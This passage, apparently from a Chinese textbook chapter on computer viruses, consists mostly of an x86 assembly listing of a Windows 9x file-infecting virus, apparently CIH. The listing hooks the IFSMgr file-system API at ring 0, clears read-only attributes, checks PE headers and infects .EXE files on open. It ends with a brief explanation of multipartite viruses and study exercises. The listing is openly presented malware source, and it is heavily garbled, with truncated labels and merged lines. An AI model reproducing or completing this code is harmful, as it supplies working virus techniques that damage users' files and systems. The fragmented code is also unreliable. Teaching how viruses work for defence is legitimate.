; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; ************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; ************************************
; * Return Original App to Execute *
; ************************************
```

```
pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Re*********************************

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; ************************************
; * Do My Virus Exist in System !? *
; ************************************

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressO
fEndException

; ************************************
; * Return to Ring3 Initial Program *
; ************************************

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;

iretd

; ************************************
; * Allocate SystemMemory Page to Use *
; ************************************

AllocateSystemMemoryPage:

mov dr0, ebx ; Set the Mark of My Virus Exi
st in System

push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
```

```
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h

xchg edi, eax ; EDI = SystemMemory Start Add
ress

lea eax, MyVirusStart-@2[esi]

iretd ; Return to Ring3 Initial Program

; ************************************
; * Install My File System Api Hook *
; ************************0h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags

mov dr0, eax ; Save OldFileSystemApiHook Ad
dress

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

cli

jmp ExitRing0Init

; ********************************************************
; * Code Size of Merge Virus Code Section *
; ********************************************************

CodeSizeOfMergeVirusCodeSection = offset $
```

```
; ********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; ********************************************************

InstallFileSystemApiHook:
push ebx

call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;

push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

push eax

; Call Original IFSMgr_InstallFileSystemApiHook
******
; * Static Data *
; ********************************************************

OldInstallFileSystemApiHook dd ?

; ********************************************************
; * IFSMgr_FileSystemHook *
; ********************************************************

; ************************************
; * IFSMgr_FileSystemHook Entry Point *
; ************************************

FileSystemApiHook:
@3 = FileSystemApiHook

pushad
```

```
call @5;
@5: ;
pop esi; mov esi, offset VirusGameDataStartAd
dress
add esi, VirusGameDataStartAddress-@5

; ************************************
; * Is OnBusy !? *
; ************************************

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy
)
jnz pIFSFunc ; goto pIFSFun
c

; ************************************
; * Is OpenFile !? *
; ************************************

; if ( NotOpenFile )
**********************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; ************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; ************************************

; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6

push esi

mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath

add al, 40h
mov ah, ':'

mov [esi], eax

inc esi
inc esi
```

```
; ************************************
; * UniToBCSPath *
; ************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; ************************************

CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h

; ************************************
; * Is FileName '.EXE' !? *
; ************************************

; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy

IF DEBUG

; ************************************
; * Only for Debug *
; ************************************

; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy

ENDIF

; ************************************
; * Is Open Existing File !? *
; ************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
```

```
jne DisableOnBusy

; ************************************
; * Get Attributes of the File *
; ************************************

mov ax, 4300h
int 20h push ecx

; ************************************
; * Get IFSMgr_Ring0_FileIO Address *
; ************************************

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; ************************************
; * Is Read-Only File !? *
; ************************************

test cl, 01h
jz OpenFile

; ************************************
; * Modify Read-Only File to Write *
; ************************************

mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ************************************
; * Open File *
; ************************************

OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO

xchg ebx, eax ; mov ebx, FileHandle
```

```
; ************************************
; * Need to Restore *
; * Attributes of the File !? *
; ************************************

pop ecx

pushf

1h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ************************************
; * Is Open File OK !? *
; ************************************

IsOpenFileOK:
popf

jc DisableOnBusy

; ************************************
; * Open File Already Succeed. ^__^ *
; ************************************

push esi ; Push FileNameBuffer Address to Stack

pushf ; Now CF = 0, Push Flag to Stack

add esi, DataBuffer-@7 ; mov esi, offset DataBuffe
r

; ***************************
; * Get OffsetToNewHeader *
; ***************************

xor eax, eax
mov ah, 0d6h

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

xor ecx, ecx
mov cl, 04h
xor edx, edx
```

```
mov dl, 3ch
call edi ; VXDCall IFSMgr_Ring0_FileIO

mov edx, [esi]

; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************

dec edx

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************

; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile

; ************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; ************************************
; * The File isn't also Infected. *
; ************************************

; ************************************
; * Start to Infect the File *
; ************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address == @8 *
```

```
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h == Read Data in File *
; ************************************
; * Stack Dump : *
; * *
; * ESP = ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ; * ------------------------- *
; ************************************

push ebx ; Save File Handle

push 00h ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer

; ***************************
; * Save ESP Register *
; ***************************

mov dr1, esp

; ***************************
; * Let's Set the *
```

```
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

push eax ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File

lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

mov al, SizeOfScetionTable

; I Assume NumberOfSections *
; * Need to Restore File *
```

```
; * Modification Time *
; ************************

SetFileModificationMark:
pop ebx
pop eax

stc ; Enable CF(Carry Flag)
pushf

; ***********************************
; * Close File *
; ***********************************

CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***********************************
; * Need to Restore File Modification *
; * Time !? *
; ***********************************

popf
pop esi
jnc DisableOnBusy

; ************************** mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO

; ***********************************
; * Disable OnBusy *
; ***********************************

DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBu
sy

; ***********************************
; * Call Previous FileSystemApiHook *
; ***********st. *
; ***********************************
```

```
pIFSFunc:
mov ebx, esp
push dword ptr [ebx+20h+04h+14h] ; Push pioreq
call [ebx+20h+04h] ; Call pIFSFun
c
pop ecx ;

mov [ebx+1ch], eax ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************

cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad

ret

; ********************************************************
; * Static Data *
; *****_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath
```

```
VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
Virus Size *
; ********************************************************

VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionT
able(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; ********************************************************
; * Dynamic Data *
; ********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?

FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignm dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSections
```

```
NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04h

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName

; ********************************************************
; * Virus Total Need Memory *
; ********************************************************

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections( + NumberOfSections(??)*SizeOfVirusCodeSectionT
able(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; ********************************************************
; ********************************************************

VirusGame ENDS

END FileHeader
```

4.3　混合型病毒

混合型病毒则是指既能感染引导区，又能感染文件的全面型病毒。说起来很容易，但是绝非所想象的将上述两种病毒简单地线性叠加就能实现。技术瓶颈的关键在于引导型病毒对磁盘的读、写调用只能用 BIOS 下的 INT 13H，而当进入系统之后则只能使用 INT 21H 中断了。

一般的解决方法是在系统加载前用 INT 13H，而加载后用 INT 21H。具体来说，就是设置一个独立的模块用以监视 INT 21H 是否被修改，并将这个模块添加到一个不使用中断调用的地方。如此一来，系统加载后就可以顺理成章地用已感染的文件代码部分去替换健康的 INT 21H 中断。而这个衔接做得好不好就是混合型病毒技术含量最高的地方。

习题

1．简述引导型病毒的感染过程以及其中需要注意的地方。

2．将书中给出的大麻病毒的引导部分、感染部分、触发部分分开，并在重要指令后加上注释。

3．简单说明 CIH 病毒对 BIOS 破坏的原理，以及 CIH 病毒的版本演变。

4．混合型病毒为什么不能直接将文件型病毒和引导型病毒放在一起实现？

5．简述引导型病毒的工作原理。